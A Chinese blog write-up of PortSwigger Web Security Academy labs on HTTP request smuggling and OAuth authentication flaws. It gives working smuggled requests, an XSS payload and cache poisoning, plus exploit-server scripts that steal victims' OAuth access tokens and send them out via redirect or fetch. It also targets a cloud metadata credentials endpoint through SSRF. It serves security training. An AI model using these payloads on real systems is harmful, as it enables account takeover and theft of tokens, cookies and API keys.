官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户，每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序把安全装进口袋

Web安全

PortSwigger之HTTP请求走私+OAuth认证实验记录

2021-10-14 22:06:21

本文由创作，已纳入「FreeBuf原创奖励计划」，未授权禁止转载

写这些笔记就为了记录一下实验的流程，有很多的地方还是不懂不会，但是会操作了，知道漏洞特征是什么了，不了解先混个脸熟，以后再慢慢了解。不喜勿喷~

做了一个多月打完了靶场，收获很大很大，想要全部弄明白，以我水平很难，慢慢来，加油！

http请求走私攻击的时候需要用到burpsuite的一个功能，就是“update Content-Length”选项，当我们取消勾选的时候我们请求首部中的centent-length的长度就不会自动改变了，设置位置如下。

1634220190_6168389e95fd12189f629.png!small?1634220191200

一、HTTP request smuggling

HTTP 请求走私

HTTP 请求走私是一种干扰网站处理从一个或多个用户接收的 HTTP 请求序列方式的技术。请求走私漏洞在本质上通常很关键，允许攻击者绕过安全控制，未经授权访问敏感数据，并直接危害其他应用程序用户。

01 HTTP request smuggling, basic CL.TE vulnerability

描述

本实验室涉及前端和后端服务器，前端服务器不支持分块编码。前端服务器拒绝不使用GET或POST方法的请求。

要解决此问题，请将一个请求走私到后端服务器，以便后端服务器处理的下一个请求似乎使用GPOST方法。

提示：

手动修复请求走私攻击中的长度字段可能很棘手。我们的HTTP请求走私程序Burp扩展旨在提供帮助。您可以通过BApp存储安装它。

解决方案

使用 Burp Repeater，两次发出以下请求：

POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked

0

G

第二个响应应该说：Unrecognized method GPOST。

02 HTTP request smuggling, basic TE.CL vulnerability

描述

本实验室涉及前端和后端服务器，后端服务器不支持分块编码。前端服务器拒绝不使用GET或POST方法的请求。

要解决此问题，请将一个请求走私到后端服务器，以便后端服务器处理的下一个请求似乎使用GPOST方法。

提示

手动修复请求走私攻击中的长度字段可能很棘手。我们的HTTP请求走私程序Burp扩展旨在提供帮助。您可以通过BApp存储安装它。

解决方案

在Burp Suite中，转到Repeater菜单并确保未选中“update Content-Length”选项。

使用Burp Repeater发出以下请求两次：

POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

03HTTP request smuggling, obfuscating the TE header

描述

本实验涉及前端和后端服务器，两台服务器以不同的方式处理重复的 HTTP 请求标头。前端服务器拒绝不使用 GET 或 POST 方法的请求。

解决实验室，将一个请求走私到后端服务器，让后端服务器处理的下一个请求出现使用该方法GPOST。

解决方案

在 Burp Suite 中，转到中继器菜单并确保未选中“更新内容长度”选项。

使用 Burp Repeater，两次发出以下请求：

POST / HTTP/1.1
Host: acf71f471ef2dcdbc0f158f0004a00ef.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: cow

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

04 HTTP request smuggling, confirming a CL.TE vulnerability via differential responses

描述

本实验涉及前后端服务器，前端服务器不支持分块编码。

要解决实验室问题，请将请求走私到后端服务器，以便对/（Web 根目录）的后续请求触发 404 Not Found 响应。

tips:在请求走私攻击中手动修复长度字段可能很棘手。我们的HTTP Request SmugglerBurp 扩展旨在提供帮助。您可以通过 BApp Store 安装它。

解决方案

使用 Burp Repeater，两次发出以下请求：

POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
X-Ignore: X

第二个请求应收到 HTTP 404 响应。

05 HTTP request smuggling, confirming a TE.CL vulnerability via differential responses

描述

本实验涉及前后端服务器，后端服务器不支持分块编码。

要解决实验室问题，请将请求走私到后端服务器，以便对/（Web 根目录）的后续请求触发 404 Not Found 响应。

tips:在请求走私攻击中手动修复长度字段可能很棘手。我们的HTTP Request SmugglerBurp 扩展旨在提供帮助。您可以通过 BApp Store 安装它。

解决方案

在 Burp Suite 中，转到中继器菜单并确保未选中“更新内容长度”选项。

使用 Burp Repeater，两次发出以下请求：

POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked

5e
POST /404 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

第二个请求应收到 HTTP 404 响应。

06 Exploiting HTTP request smuggling to bypass front-end security controls, CL.TE vulnerability

描述

本实验涉及前后端服务器，前端服务器不支持分块编码。有一个管理面板/admin，但前端服务器阻止访问它。

要解决实验室问题，请将请求走私到访问管理面板并删除用户的后端服务器carlos。

提示

在请求走私攻击中手动修复长度字段可能很棘手。我们的HTTP Request SmugglerBurp 扩展旨在提供帮助。您可以通过 BApp Store 安装它。

解决方案

1.尝试访问/admin并观察请求被阻塞。

2.使用 Burp Repeater，两次发出以下请求：

POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 37
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
X-Ignore: X

3.观察到合并请求/admin由于未使用 header 被拒绝Host: localhost。

4.两次发出以下请求：

POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 54
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: localhost
X-Ignore: X

5.观察到该请求因第二个请求的 Host 标头与第一个请求中走私的 Host 标头冲突而被阻止。

6.发出以下请求两次，以便将第二个请求的标头附加到走私的请求正文中：

POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=

7.请注意，您现在可以访问管理面板。

8.以之前的响应为参考，更改走私请求 URL 以删除用户carlos：

POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 139
Transfer-Encoding: chunked

0

GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=

07 Exploiting HTTP request smuggling to bypass front-end security controls, TE.CL vulnerability

描述

本实验涉及前后端服务器，后端服务器不支持分块编码。有一个管理面板/admin，但前端服务器阻止访问它。

要解决实验室问题，请将请求走私到访问管理面板并删除用户的后端服务器carlos。

解决方案

1.尝试访问/admin并观察请求被阻塞。 2.在 Burp Suite 中，转到中继器菜单并确保未选中“更新内容长度”选项。 3.使用 Burp Repeater，两次发出以下请求：

POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-length: 4
Transfer-Encoding: chunked

60
POST /admin HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

4.观察到合并请求/admin由于未使用 header 被拒绝Host: localhost。

5.两次发出以下请求：

POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked

71
POST /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

6.请注意，您现在可以访问管理面板。 7.以之前的响应为参考，更改走私请求 URL 以删除用户carlos：

POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-length: 4
Transfer-Encoding: chunked

87
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

08 Exploiting HTTP request smuggling to reveal front-end request rewriting

描述

本实验涉及前后端服务器，前端服务器不支持分块编码。

有一个管理面板/admin，但只有 IP 地址为 127.0.0.1 的人才能访问它。前端服务器向包含其 IP 地址的传入请求添加 HTTP 标头。它类似于X-Forwarded-For标题，但具有不同的名称。

为了解决实验室问题，向后端服务器走私一个请求，该请求显示由前端服务器添加的标头。然后将包含添加的标头的请求走私到后端服务器，访问管理面板并删除用户carlos。

解决方案

1.浏览/admin并观察管理面板只能从127.0.0.1. 2.使用站点的搜索功能并观察它是否反映了search参数的值。 3.使用 Burp Repeater 两次发出以下请求。

POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 124
Transfer-Encoding: chunked

0

POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 200
Connection: close

search=test

4.第二个响应应包含“search results for”，然后是重写的 HTTP 请求的开始。 5.记下X-*-IP重写请求中标头的名称，并使用它来访问管理面板：

POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 143
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
X-abcdef-Ip: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
Connection: close

x=1

6.以之前的响应为参考，更改走私请求 URL 以删除用户carlos：

POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 166
Transfer-Encoding: chunked

0

GET /admin/delete?username=carlos HTTP/1.1
X-abcdef-Ip: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
Connection: close

x=1

09 Exploiting HTTP request smuggling to capture other users' requests

描述

本实验涉及前后端服务器，前端服务器不支持分块编码。

为了解决实验室问题，将请求走私到后端服务器，导致下一个用户的请求存储在应用程序中。然后检索下一个用户的请求并使用受害用户的 cookie 访问他们的帐户。

解决方案

1.访问博客文章并发表评论。 2.将POST /post/comment请求发送到 Burp Repeater，将 body 参数打乱，使comment参数最后出现，并确保它仍然有效。

1634219893_61683775c1048d64297dc.png!small?1634219894332

3.将POST /post/comment请求Content-Length增加到 400，然后将其走私到后端服务器：

POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 256
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=your-session-token

csrf=your-csrf-token&postId=5&name=Carlos+Montoya&email=carlos%40normal-user.net&website=&comment=test

4.查看博客文章以查看是否有包含用户请求的评论。请注意，目标用户只会间歇性地浏览网站，因此您可能需要多次重复此攻击才能成功。

抓包看正常的session长度是32，露出来session的时候，把长度修改为正常长度就行，我这里是812

5.从评论中复制用户的 Cookie 标头，并使用它来访问他们的帐户。

10 Exploiting HTTP request smuggling to deliver reflected XSS

描述

本实验涉及前后端服务器，前端服务器不支持分块编码。

该应用程序也容易受到通过标头反射的 XSS 的攻击User-Agent。

为了解决实验室问题，将请求走私到后端服务器，使下一个用户的请求收到一个响应，其中包含执行alert(1).

解决方案

1.访问博客文章，并将请求发送到 Burp Repeater。 2.观察评论表单User-Agent在隐藏输入中包含您的标题。 3.将 XSS 负载注入User-Agent标头并观察它是否被反射：

"/><script>alert(1)</script>

4.将此 XSS 请求走私到后端服务器，以便它利用下一个访问者：

POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 150
Transfer-Encoding: chunked

0

GET /post?postId=5 HTTP/1.1
User-Agent: a"/><script>alert(1)</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

x=1

11 Exploiting HTTP request smuggling to perform web cache poisoning

描述

本实验涉及前后端服务器，前端服务器不支持分块编码。前端服务器配置为缓存某些响应。

为了解决实验室问题，请执行请求走私攻击，导致缓存中毒，以便后续对 JavaScript 文件的请求接收重定向到漏洞利用服务器。中毒的缓存应该发出警报document.cookie。

解决方案

1.打开博客文章，单击“Next post”，然后尝试使用不同的 Host 标头走私生成的请求：

POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 129
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: anything
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

2.请注意，您可以使用此请求使对网站的下一个请求重定向到/post您选择的主机。 3.转到您的漏洞利用服务器，并创建一个包含以下内容的text/javascript文件/post：

alert(document.cookie)

4.首先使用您的漏洞服务器的主机名重新启动先前的攻击来毒害服务器缓存，如下所示：

POST / HTTP/1.1
Host: ac011fe31f30d907c01f2c3b004500e0.web-security-academy.net
Content-Length: 185
Transfer-Encoding: chunked
Content-Type: application/x-www-form-urlencoded
Cookie: session=zY91vjxzDBEbrxMtpRfAP5D2ExB7mdOG

0

GET /post/next?postId=3 HTTP/1.1
Host: exploit-ace81f4f1fe6d93fc04d2c1301120099.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

y=

5.然后/resources/js/tracking.js通过发送以下请求来获取：如果攻击成功，对请求的响应应该是重定向到您的漏洞利用服务器。

GET /resources/js/tracking.js HTTP/1.1
Host: ac011fe31f30d907c01f2c3b004500e0.web-security-academy.net
Cookie: session=JN0tBwaO7Bdk0LLjZmZeqRZG0wjxKwKe
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://ac011fe31f30d907c01f2c3b004500e0.web-security-academy.net/post?postId=3
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

6.通过tracking.js多次重复请求并确认每次都收到重定向来确认缓存已中毒。

12 Exploiting HTTP request smuggling to perform web cache deception

描述

本实验涉及前后端服务器，前端服务器不支持分块编码。前端服务器正在缓存静态资源。

为了解决实验室问题，执行请求走私攻击，以便下一个用户的请求导致他们的 API 密钥保存在缓存中。然后从缓存中检索受害用户的 API 密钥并将其作为实验室解决方案提交。在尝试诱骗受害者缓存他们的 API 密钥之前，您需要等待 30 秒才能访问实验室。

您可以使用以下凭据登录自己的帐户：wiener:peter

解决方案

1.登录您的帐户并访问用户帐户页面。 2.观察响应没有任何反缓存标头。 3.走私请求以获取 API 密钥：

POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
Transfer-Encoding: chunked

0

GET /my-account HTTP/1.1
X-Ignore: X

4.重复此请求几次，然后在隐身浏览器窗口中加载主页。 5.使用 Burp 菜单上的搜索功能查看短语“Your API Key”是否出现在任何静态资源中。如果没有，请重复 POST 请求，强制重新加载浏览器窗口，然后重新运行搜索。 6.提交受害者的 API 密钥作为实验室解决方案。

二、OAuth2.0 身份验证漏洞

01 Authentication bypass via OAuth implicit flow

描述

本实验室使用OAuth服务来允许用户使用他们的社交媒体帐户登录。客户端应用程序的错误验证使攻击者有可能在不知道其他用户的密码的情况下登录到其他用户的帐户。

要解决实验室，请登录Carlos's的帐户。他的电子邮件地址是carlos@carlos-montoya.net。

您可以使用以下凭据使用您自己的社交媒体帐户登录：wiener:peter.

解决

1.通过 Burp 代理流量时，单击“我的帐户”并完成 OAuth 登录过程。之后，您将被重定向回博客网站。
2.在 Burp 中，转到“代理”>“HTTP 历史”并研究构成 OAuth 流的请求和响应。这从授权请求开始GET /auth?client_id=[...]。
3.请注意，客户端应用程序（博客网站）从 OAuth 服务接收有关用户的一些基本信息。然后，它通过POST向其自己的/authenticate端点发送包含此信息的请求以及访问令牌来登录用户。
4.将POST /authenticate请求发送到 Burp Repeater。在中继器中，将电子邮件地址更改为carlos@carlos-montoya.net并发送请求。请注意，您没有遇到错误。
5.右键单击POST请求并选择“在浏览器中请求”>“在原始会话中”。复制此 URL 并在浏览器中访问它。您以 Carlos 身份登录，实验室已解决。

描述中给出一个账号密码wiener:peter，我们登录之后利用漏洞登录到carlos用户

1 开启burpsuite，开启浏览器代理通过bp，使用浏览器登录wiener:peter用户，bp进入“proxy”>“HTTP history”

2.点击continue会重定向到首页，这个过程中会进行身份认证，认证时提交POST数据中有用户的邮箱，用户名和token信息

3.将此POST方法的数据包发送到repeater

4.将邮箱修改为carlos@carlos-montoya.net，再次发包，在响应中复制浏览器URL

5.开启浏览器新标签访问

http://burpsuite/show/2/obkqw0iih6u2wpah5l3dzxw7c9bwowg4

成功登录到carlos用户

02 Forced OAuth profile linking

描述

此实验室为您提供将社交媒体配置文件附加到帐户的选项，以便您可以通过OAuth登录，而不是使用普通用户名和密码。由于客户端应用程序对OAuth流的实现不安全，攻击者可以操纵此功能来访问其他用户的帐户。

要解决此问题，请使用CSRF攻击将您自己的社交媒体档案附加到博客网站上管理员用户的帐户，然后访问管理员面板并删除Carlos。

管理员用户将打开您从漏洞服务器发送的任何内容，他们在博客网站上始终有一个活动会话。

您可以使用以下凭据登录到自己的帐户：

博客网站账号：wiener:peter
社交媒体简介：peter.wiener:hotdog

解决

1.通过Burp代理流量时，单击“my account”。您将进入正常的登录页面，请注意，您可以选择使用您的社交媒体档案登录。现在，使用经典登录表单直接登录wiener用户到博客网站。

2.请注意，您可以选择将您的社交媒体档案附加到现有帐户。

3.单击“Attach a social profile”。您将被重定向到社交媒体网站，在那里您应该使用社交媒体凭据登录以完成OAuth流。之后，您将被重定向回博客网站。

4.log out，然后单击“My account"返回登录页面。这一次，选择“Log in with social media”选项。请注意，您可以通过新链接的社交媒体帐户立即登录。

5.在代理历史记录中，研究附加社交配置文件的一系列请求。在GET /auth?client_id[...]请求中，注意此功能的redirect_uri将授权代码发送到/oauth-linking链接。重要的是，请注意，请求不包括用于防止CSRF攻击的state参数。

6.启用代理拦截并再次选择“Attach a social profile”选项。

7.转到Burp Proxy并转发所有请求，直到截获GET /oauth-linking?code=[...].。右键单击此请求并选择“copy URL”。

https://aca41fd91fcdb0e1c09207d2002d002e.web-security-academy.net/oauth-linking?code=NanXRGhvaus80q6FXAp22nru2c4OZfsb5zchXVv1YCy

8.放弃请求。这对于确保代码未被使用并因此保持有效非常重要。

9.关闭代理拦截并注销博客网站。

10.转到利用漏洞攻击服务器并创建一个iframe，其中src属性指向刚才复制的URL。结果应该如下所示：

<iframe src="https://aca41fd91fcdb0e1c09207d2002d002e.web-security-academy.net/oauth-linking?code=NanXRGhvaus80q6FXAp22nru2c4OZfsb5zchXVv1YCy"></iframe>

11.将漏洞传递给受害者。当他们的浏览器加载iframe时，它将使用您的社交媒体配置文件完成OAuth流，并将其附加到博客网站上的管理员帐户。

12.返回博客网站，再次选择“Log in with social media”选项。请注意，您立即以管理员用户身份登录。转到管理面板并删除Carlos以解决实验室问题。

03 OAuth account hijacking via redirect_uri

描述

此实验室使用OAuth服务允许用户使用其社交媒体帐户登录。OAuth提供程序的错误配置使攻击者有可能窃取与其他用户帐户相关的授权代码。

要解决此问题，请窃取与管理员用户关联的授权码，然后使用它访问他们的帐户并删除Carlos。

管理员用户将打开您从漏洞服务器发送的任何内容，并且他们始终与OAuth服务有一个活动会话。

您可以使用以下凭据使用自己的社交媒体帐户登录：wiener:peter。

解决

1.通过Burp代理流量时，单击“my account”并完成OAuth登录过程。之后，您将被重定向回博客网站。

2.log out，然后重新登录。请注意，这次您立即登录。由于您与OAuth服务仍有一个活动会话，因此无需再次输入凭据即可进行身份验证。

3.在Burp中，研究代理历史记录中的OAuth流，并确定最近的授权请求。这应该从GET/auth？client_id=[…]开始。请注意，当发送此请求时，您将立即被重定向到重定向uri以及查询字符串中的授权代码。将此授权请求发送到Burp repeater。

4.在Burp Repeater中，注意您可以提交任意值作为redirect_uri，而不会遇到错误。请注意，您的输入用于在响应中生成重定向。

5.更改重定向uri以指向攻击服务器，然后发送请求并遵循重定向。转到利用漏洞攻击服务器的访问日志，观察是否存在包含授权代码的日志条目。这确认您可以将授权代码泄漏到外部域。

6.返回利用漏洞攻击服务器，在/aploit处创建以下iframe：注意client_id要写GET /auth?client_id=xz7gdl3tt27dj4rhzsmee的内容

<iframe src="https://YOUR-LAB-OAUTH-SERVER-ID.web-security-academy.net/auth?client_id=YOUR-LAB-CLIENT-ID&redirect_uri=https://YOUR-EXPLOIT-SERVER-ID.web-security-academy.net&response_type=code&scope=openid%20profile%20email"></iframe>

<iframe src="https://oauth-ac151fad1f4c2653c0ed27d102cc000c.web-security-academy.net/auth?client_id=xz7gdl3tt27dj4rhzsmee&redirect_uri=https://exploit-ac3a1f0f1fdb26d1c0a9274d01400003.web-security-academy.net&response_type=code&scope=openid%20profile%20email"></iframe>

7.存储漏洞并单击“view exploit”。检查iframe是否已加载，然后检查利用漏洞服务器的访问日志。如果一切正常，您应该会看到另一个带有泄漏代码的请求。

8.将该漏洞传递给受害者，然后返回访问日志并从生成的请求中复制受害者的代码。

9.注销博客网站，然后使用窃取的代码导航到https://YOUR-LAB-ID.web-security-academy.net/oauth-callback?code=STOLEN-CODE。OAuth流的其余部分将自动完成，您将作为管理员用户登录。打开管理面板并删除Carlos以解决实验室问题。

https://ac481fab1fd02676c00827eb004100c3.web-security-academy.net/oauth-callback?code=Cy-dndHDy53B72QBPZsZWkBRoFnZHK2gTa9BB9cPC01

04 Stealing OAuth access tokens via an open redirect

描述

此实验室使用OAuth服务允许用户使用其社交媒体帐户登录。OAuth服务有缺陷的验证使攻击者有可能将访问令牌泄漏到客户端应用程序上的任意页面。

要解决此问题，请在博客网站上识别一个打开的重定向，并使用此重定向窃取管理员用户帐户的访问令牌。使用访问令牌获取管理员的API密钥，并使用lab横幅中提供的按钮提交解决方案。

笔记

您不能通过简单地登录到管理员在客户端应用程序上的帐户来访问管理员的API密钥。

管理员用户将打开您从漏洞服务器发送的任何内容，并且他们始终与OAuth服务有一个活动会话。

您可以使用以下凭据通过自己的社交媒体帐户登录：wiener:peter。

解决

1.通过Burp代理流量时，单击“my account”并完成OAuth登录过程。之后，您将被重定向回博客网站。

2.研究产生的请求和响应。搜索APIKey，博客网站对位于/me的userinfo端点进行API调用，然后使用它获取的数据登录用户。将GET/me请求发送到Burp repeater。

3.注销您的帐户，然后重新登录。从代理历史记录中，找到最近的GET/auth?client_id=[…]请求并将其发送到Repeater。

4.在Repeater中，使用GET /auth?client_id=[...]请求进行实验。请注意，您不能将外部域作为redirect_uri提供，因为它正在根据白名单进行验证。但是，您可以在默认值中附加其他字符，而不会遇到错误，包括/../directory traversal。

5.在博客网站上注销您的帐户，并在Burp中启用代理拦截。

6.在浏览器中，再次登录并转到Burp Proxy中截获的GET/auth?client_id=[…]请求。

7.将redirect_uri参数更改为，以确认它实际上易受目录遍历的攻击https://YOUR-LAB-ID.web-security-academy.net/oauth-callback/../post?postId=1.

转发所有剩余的请求，并观察您最终被重定向到第一篇博客文章。在浏览器中，请注意，您的访问令牌作为一个片段包含在URL中。

https://ac661fe71eab910cc05a2cae00f00037.web-security-academy.net/post?postId=1#access_token=XCl5sPcfJR5LYPIy0HQWPOmtVYJYD99vrjMjO3s10gW&expires_in=3600&token_type=Bearer&scope=openid%20profile%20email

8.在Burp的帮助下，审核博客网站上的其他页面。在每个博客文章的底部标识“Next post”选项，该选项通过将用户重定向到查询参数中指定的路径来工作。向repeater发送相应的GET /post/next?path=[...]请求。

9.在repeater中，使用路径参数进行实验。请注意，这是一个打开的重定向。您甚至可以提供一个绝对URL来引导重定向到完全不同的域，例如，您的漏洞攻击服务器。

10.精心设计一个结合这些漏洞的恶意URL。您需要一个URL，该URL将启动OAuth流，redirect_uri指向打开的重定向，该重定向随后将受害者转发到您的攻击服务器：

https://YOUR-LAB-OAUTH-SERVER.web-security-academy.net/auth?client_id=YOUR-LAB-CLIENT-ID&redirect_uri=https://YOUR-LAB-ID.web-security-academy.net/oauth-callback/../post/next?path=https://YOUR-EXPLOIT-SERVER-ID.web-security-academy.net/exploit&response_type=token&nonce=399721827&scope=openid%20profile%20email

https://oauth-ac3a1f2f1ed891afc0022c700233000a.web-security-academy.net/auth?client_id=hyyjkabror6jl32af5uw3&redirect_uri=https://ac661fe71eab910cc05a2cae00f00037.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-acf01fb91e859122c0432cbd010c000e.web-security-academy.net/exploit&response_type=token&nonce=399721827&scope=openid%20profile%20email

11.通过在浏览器中访问此URL，测试其是否正常工作。您应该被重定向到攻击服务器的“Hello，world！”页面，以及URL片段中的访问令牌。

12.在利用服务器上，在/exploit处创建一个合适的脚本，该脚本将提取片段并将其输出到某处。例如，以下脚本将通过访问日志将用户第二次重定向到漏洞攻击服务器，而将访问令牌作为查询参数，从而泄漏该漏洞：

<script>
window.location = '/?'+document.location.hash.substr(1)
</script>

13.要测试一切是否正常工作，请存储此漏洞并在浏览器中再次访问恶意URL。然后，转到攻击服务器access log。应该有一个GET /?access_token=[...]的请求。

14.您现在需要创建一个漏洞，该漏洞首先迫使受害者访问您的恶意URL，然后执行您刚刚测试的脚本以窃取他们的访问令牌。例如：

<script>
if (!document.location.hash) {
window.location = 'https://YOUR-LAB-AUTH-SERVER.web-security-academy.net/auth?client_id=YOUR-LAB-CLIENT-ID&redirect_uri=https://YOUR-LAB-ID.web-security-academy.net/oauth-callback/../post/next?path=https://YOUR-EXPLOIT-SERVER-ID.web-security-academy.net/exploit/&response_type=token&nonce=399721827&scope=openid%20profile%20email'
} else {
window.location = '/?'+document.location.hash.substr(1)
}
</script>


<script>
if (!document.location.hash) {
window.location = 'https://oauth-ac3a1f2f1ed891afc0022c700233000a.web-security-academy.net/auth?client_id=hyyjkabror6jl32af5uw3&redirect_uri=https://ac661fe71eab910cc05a2cae00f00037.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-acf01fb91e859122c0432cbd010c000e.web-security-academy.net/exploit/&response_type=token&nonce=399721827&scope=openid%20profile%20email'
} else {
window.location = '/?'+document.location.hash.substr(1)
}
</script>

15.要测试该漏洞是否有效，请存储该漏洞，然后单击“view exploit”。该页面应显示为刷新，但如果您检查访问日志，则应该会看到对GET /?access_token=[...].的新请求。

16.将攻击传递给受害者，然后从日志中复制他们的访问令牌。

17.在Repeater中，转到GET/me请求，并将Authorization: Bearer头中的令牌替换为刚才复制的令牌。发送请求。请注意，您已经成功地进行了API调用，以获取受害者的数据，包括他们的API密钥。

18.使用实验室页面顶部的“Submit solution”按钮提交被盗钥匙并解决实验室问题。

05 Stealing OAuth access tokens via a proxy page

描述

此实验室使用OAuth服务允许用户使用其社交媒体帐户登录。OAuth服务有缺陷的验证使攻击者有可能将访问令牌泄漏到客户端应用程序上的任意页面。

要解决此问题，请识别客户端应用程序中的二级漏洞，并将其用作代理来窃取管理员用户帐户的访问令牌。使用访问令牌获取管理员的API密钥，并使用lab横幅中提供的按钮提交解决方案。

管理员用户将打开您从漏洞服务器发送的任何内容，并且他们始终与OAuth服务有一个活动会话。

您可以使用以下凭据通过自己的社交媒体帐户登录：wiener:peter。

解决

1.在通过 Burp 代理流量时研究 OAuth 流程。使用与上一个实验室相同的方法，确定redirect_uri容易受到目录遍历的攻击。这使您能够将访问令牌重定向到博客网站上的任意页面。 2.使用 Burp，审核博客网站上的其他页面。请注意，评论表单包含iframe在每篇博客文章中。仔细查看/post/comment/comment-formBurp中的页面，并注意它使用该postMessage()方法将window.location.href属性发送到其父窗口。至关重要的是，它允许将消息发布到任何来源 ( *)。

3.从代理历史记录中，右键单击GET /auth?client_id=[...]请求并选择“copy URL”。转至利用服务器并创建一个iframe在其中src的属性是你刚才复制的URL。使用目录遍历来更改redirect_uri，使其指向评论表单。结果应该是这样的：

<iframe src="https://oauth-ac161fb81e8b2c39c0ab51df026e0058.web-security-academy.net/auth?client_id=j6exiprimt8itgfeebh65&redirect_uri=https://ac5a1fb11e6a2ca6c0bd512c008d0084.web-security-academy.net/oauth-callback/../post/comment/comment-form&response_type=token&nonce=338916214&scope=openid%20profile%20email"></iframe>

4.在此之下，添加一个合适的脚本来侦听网络消息并在某处输出内容。例如，您可以使用以下脚本在漏洞利用服务器的访问日志中显示 Web 消息：

<script>
window.addEventListener('message', function(e) {
fetch("/" + encodeURIComponent(e.data.data))
}, false)
</script>

5.要检查漏洞利用是否有效，请将其存储，然后单击“View exploit”。确保iframe加载然后转到漏洞利用服务器的访问日志。应该有一个请求，其路径是评论表单的完整 URL，以及包含访问令牌的片段。

6.返回漏洞利用服务器并将此漏洞利用发送给受害者。从日志中复制他们的访问令牌。确保您不会意外包含任何周围的 URL 编码字符。

7.将GET /me请求发送到 Burp Repeater。在 Repeater 中，将Authorization: Bearer标头中的令牌替换为您刚刚复制并发送请求的令牌。观察您已成功进行 API 调用以获取受害者的数据，包括他们的 API 密钥。

8.使用实验室页面顶部的“提交解决方案”按钮提交被盗密钥并解决实验室问题。

06 SSRF via OpenID dynamic client registration

描述

该实验室允许客户端应用程序通过专用注册端点向OAuth服务动态注册自己。OAuth 服务以不安全的方式使用某些特定于客户端的数据，这暴露了 SSRF 的潜在向量。

为解决实验室问题，设计SSRF 攻击以访问http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/和窃取 OAuth 提供商云环境的秘密访问密钥。

您可以使用以下凭据登录自己的帐户：wiener:peter

解决

1.通过 Burp 代理流量时，登录到您自己的帐户。浏览以https://YOUR-LAB-OAUTH-SERVER.web-security-academy.net/.well-known/openid-configuration访问配置文件。请注意，客户端注册端点位于/reg。

2.在 Burp Repeater 中，创建一个合适的POST请求来向 OAuth 服务注册您自己的客户端应用程序。您必须至少提供一个redirect_uris数组，其中包含您的虚假应用程序的回调 URI 的任意白名单。例如：

POST /reg HTTP/1.1
Host: YOUR-LAB-OAUTH-SERVER.web-security-academy.net
Content-Type: application/json

{
"redirect_uris" : [
"https://example.com"
]
}

